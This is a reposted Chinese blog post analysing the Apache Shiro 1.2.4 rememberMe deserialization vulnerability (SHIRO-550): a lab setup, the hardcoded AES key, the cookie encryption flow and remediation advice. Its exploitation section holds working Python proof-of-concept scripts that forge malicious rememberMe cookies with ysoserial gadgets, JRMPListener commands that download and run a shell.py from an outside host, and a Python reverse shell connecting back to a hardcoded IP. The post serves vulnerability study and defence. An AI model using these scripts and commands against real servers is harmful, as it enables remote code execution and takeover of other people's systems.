Apache Shiro Java反序列化漏洞分析

转载

weixin_30569153 于 2019-03-29 10:29:00 发布 1392 收藏 1
文章标签： java 运维 shell
原文链接：http://www.cnblogs.com/loong-hon/p/10619616.html

1. 前言

最近工作上刚好碰到了这个漏洞，当时的漏洞环境是：

- shiro-core 1.2.4
- commons-beanutils 1.9.1

最终利用ysoserial的CommonsBeanutils1命令执行。

虽然在ysoserial里CommonsBeanutils1类的版本为`1.9.2`，不过上面环境测试确实可以命令执行。

```
CommonsBeanutils1   @frohoff  commons-beanutils:1.9.2
```

这里当时有一个问题是：如何获取Java里引用组件的版本？

大多数的时候，我们只要解析pom.xml就能解析出相应组件的版本。但有的情况下，并不能获取组件的版本。比如有的pom.xml并没有设置组件的version版本，没有设置version的情况，是由依赖决定。项目中依赖了A，A依赖了B，B的版本由A决定；又或者漏洞组件A是在组件B里引用的，pom.xml里并没有组件A的配置。为了解决这个问题，我们可以用`mvn dependency:tree`命令获取所有组件调用关系，或者使用`mvn dependency:list`命令获取所有组件，只是没有调用关系。

2. 漏洞影响

只要`rememberMe`的AES加密密钥泄露，无论shiro是什么版本都会导致反序列化漏洞。

3. 环境搭建

漏洞的测试环境，可以用docker搭建，有人已经写好了。https://github.com/Medicean/VulApps/tree/master/s/shiro/1

搭建完成后，`docker exec -it your_docker_id /bin/bash`进入该docker的tomcat lib目录`/usr/local/tomcat/webapps/ROOT/WEB-INF/lib`，看到造成漏洞的jar包为：

- shiro-core-1.2.4.jar
- commons-collections4-4.0.jar (为了进行命令执行的测试，额外添加的版本)

或者如果想动态调试，可以根据Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞这篇文章自己搭建环境。不过文中并没有说如何动态调试。我描述下如何在IDEA中动态调试shiro，这里感谢@lightless指点，其实就是在IDEA中添加Tomcat运行。相关步骤如下：

```
Run -> Edit Configurations -> 添加TomcatServer(Local) -> Server中配置Tomcat路径 -> Deployment中添加Artifact选择sample-web:war exploded
```

4. 漏洞分析

先看下官网漏洞说明：https://issues.apache.org/jira/browse/SHIRO-550

Shiro提供了记住我（RememberMe）的功能，关闭了浏览器下次再打开时还是能记住你是谁，下次访问时无需再登录即可访问。

Shiro对rememberMe的cookie做了加密处理，shiro在`CookieRememberMeManaer`类中将cookie中rememberMe字段内容分别进行 序列化、AES加密、Base64编码操作。

在识别身份的时候，需要对Cookie里的rememberMe字段解密。根据加密的顺序，不难知道解密的顺序为：

- 获取rememberMe cookie
- base64 decode
- 解密AES
- 反序列化

但是，AES加密的密钥Key被硬编码在代码里，意味着每个人通过源代码都能拿到AES加密的密钥。因此，攻击者构造一个恶意的对象，并且对其序列化，AES加密，base64编码后，作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化，最终造成反序列化漏洞。

4.1 加密

先来看看如何进行加密。

登录`http://localhost:8080/login.jsp`，勾选`rememberMe`，登录成功后，看到一个key为rememberMe，value长度为512的cookie。

```
NMhQ5j+uiYfUA+gQF93wGknW88ru39LFDKiOmaAuphx7h+r/XUhlebml7+KNwfF0gIIOnJg6LA8xVpzPJTYknq/aYPeeDNJEVYX8DSUMNUh0
nbCdHW1YNuFDdBNg6chk5nEZwkh7dG9k+uAnZEfpFbRTajQ4vEolbOktGAS+feNmpurL2P/0dpWwzsSGMZubiVs0ICMVt6CS3qvU8rKC22lb
PILSqTiD5Ao+6YNCm19qm/6uQ7De2E+gmKmxGA9o/EsaRUE71wdiHdJbaDeNOQ5am8rXiejqtfEl5YHzeU2MEdxqo+POVUgaSal7O3FYhLjf
n4U1nS97/VUHfY7mlz3iP9rU4KvIYjtB5RhbNwkgoFmtUY6MFyFaJNoOAwKBfkeVY0w7QoF7zo0P1HEA3G1XEBR7GeC4O/XAChMnDx7NYfm5
D5RZuWWNkW8qI0U9n5UJXmpVsS1hB3vor0eB/5gO5USMy+ToHAW3bOB6REK1x3/U9IS82sY/aLv7aXBA
```

从官网中，我们知道处理Cookie的类是`CookieRememberMeManaer`，该类继承`AbstractRememberMeManager`类，跟进`AbstractRememberMeManager`类，很容易看到AES的key。

```
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
```

最简单的调试方法，随意登录一个账号，勾选`rememberMe`按钮，在`AbstractRememberMeManager`类的`onSuccessfulLogin`方法下断点，慢慢debug，所有逻辑就会明白了。

假设我们以root的用户名的登录了。如果登录成功，shiro先将登录的用户名`root`字符串进行序列化，使用`DefaultSerializer`类的`serialize`方法。

```
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = serialize(principals); // 进行序列化
        if (getCipherService() != null) {
            bytes = encrypt(bytes); // AES加密
        }
        return bytes;
    }
```

接着进行AES加密。动态跟踪到AbstractRememberMeManager类的encrypt方法中，可以看到AES的模式为AES/CBC/PKCS5Padding，并且AES的key为Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")，转换为16进制后是\x90\xf1\xfe\x6c\x8c\x64\xe4\x3d\x9d\x79\x98\x88\xc5\xc6\x9a\x68，key为16字节，128位。

```
    protected byte[] encrypt(byte[] serialized) {
        byte[] value = serialized;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
            value = byteSource.getBytes();
        }
        return value;
    }
```

进行AES加密，利用arraycopy()方法将随机的16字节IV放到序列化后的数据前面，完成后再进行AES加密。

最后在CookieRememberMeManager类的rememberSerializedIdentity()方法中进行base64加密：

```
String base64 = Base64.encodeToString(serialized);
```

4.2 解密

有了AES的key、加密模式AES/CBC/PKCS5Padding，由于AES是对称加密，所以我们已经可以解密AES的密文了。

第一步：获取rememberMe的Cookie

第二步：base64解码。CookieRememberMeManager类的getRememberedSerializedIdentity()方法

```
byte[] decoded = Base64.decode(base64);
```

第三步：AES解密。base64解码后的字节，减去前面16个字节。

AbstractRememberMeManager类的decrypt()方法

```
    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }
```

第四步：反序列化。DefaultSerializer类的deserialize()方法

```
    public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
        }
    }
}
```

可以看到，解密和加密完全是对称的。第四步中的`readObject()`方法，由于反序列化的对象完全由外部rememberMe Cookie控制。所以，一旦添加了有漏洞的common-collections包，就会造成任意命令执行。

5. 漏洞利用

5.1 commons-collections 4.0

针对`https://github.com/Medicean/VulApps/tree/master/s/shiro/1`docker环境的漏洞利用比较简单。利用ysoserial的CommonsCollections2即可

```
import os
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES

JAR_FILE = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'


def poc(url, rce_command):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = generator(rce_command, JAR_FILE)  # 生成payload
        r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)  # 发送验证请求
        print r.text
    except Exception, e:
        pass
    return False


def generator(command, fp):
    if not os.path.exists(fp):
        raise Exception('jar file not found!')
    popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    poc('http://127.0.0.1:8080', 'open /Applications/Calculator.app')
```

本地成功弹计算器。

5.1 commons-collections 3.2.1

默认shiro的commons-collections版本为3.2.1，并且在ysoserial里并没有3.2.1的版本，我们利用3.2.1的payload，结果报如下错误：

```
java.lang.ClassNotFoundException: Unable to load ObjectStreamClass
[[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -
4803604734341277543L;]:
```

报错的原因是因为：

> Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName()，而ClassLoader.loadClass不支持装载数组类型的class。

当然为了证明反序列化漏洞确实存在，我们可以利用ysoserial的URLDNS gadget进行验证，参数改成dns地址，测试能收到DNS请求。不过Java默认有TTL缓存，DNS解析会进行缓存，所以可能会出现第一次收到DNS的log，后面可能收不到的情况。URLDNS gadget不需要其他类的支持，它的Gadget Chain：

```
*   Gadget Chain:
*     HashMap.readObject()
*       HashMap.putVal()
*         HashMap.hash()
*           URL.hashCode()
```

但是可以利用ysoserial的JRMP。具体利用过程如下：

在有外网的服务器下监控一个JRMP端口，wget为要执行的命令。

```
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl test.joychou.org'
```

此时执行poc，已经执行了`curl test.joychou.org`命令。

```
#coding: utf-8

import os
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES

JAR_FILE = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'


def poc(url, rce_command):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = generator(rce_command, JAR_FILE)  # 生成payload
        print payload
        print payload.decode()
        r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)  # 发送验证请求
        print r.text
    except Exception, e:
        print(e)
        pass
    return False


def generator(command, fp):
    if not os.path.exists(fp):
        raise Exception('jar file not found!')
    popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


poc('http://127.0.0.1:8080', '47.52.77.204:12345')
```

不过如果想达到命令执行的目标，可以分别执行两条命令：

```
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget
test.joychou.org/shell.py -O /tmp/shell.py'

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'python
/tmp/shell.py'
```

shell.py为反弹shell的代码：

```
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("47.52.77.204",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
```

6. 漏洞修复

先说结论：无论是否升级shiro到1.2.5及以上，如果shiro的rememberMe功能的AES密钥一旦泄露，就会导致反序列化漏洞。

跟了shiro 1.3.2的代码，看到官方的操作如下：

- 删除代码里的默认密钥
- 默认配置里注释了默认密钥
- 如果不配置密钥，每次会重新随机一个密钥

可以看到并没有对反序列化做安全限制，只是在逻辑上对该漏洞进行了处理。
如果在配置里自己单独配置AES的密钥，并且密钥一旦泄露，那么漏洞依然存在。

所以漏洞修复的话，我建议下面的方案同时进行：

- 升级shiro到1.2.5及以上
- 如果在配置里配置了密钥，那么请一定不要使用网上的密钥，一定不要！！请自己base64一个AES的密钥，或者利用官方提供的方法生成密钥：org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

7. 总结

- 标准的AES的加解密只跟私钥key和加密模式有关，和IV无关。
- 为了证明反序列化漏洞确实存在，可以利用ysoserial的URLDNS gadget进行验证，但是默认会有TTL缓存机制，默认10s。

反序列化导致的命令执行需要两个点：

1. `readObject()`反序列化的内容可控。
2. 应用引用的jar包中存在可命令执行的Gadget Chain。

8. Reference

- Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞
- 强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考
- Pwn a CTF Platform with Java JRMP Gadget
- Phrack_CTF_ Platform_RCE
- https://issues.apache.org/jira/browse/SHIRO-550
- https://github.com/Medicean/VulApps/tree/master/s/shiro/1
- https://github.com/frohoff/ysoserial

转载于:https://www.cnblogs.com/loong-hon/p/10619616.html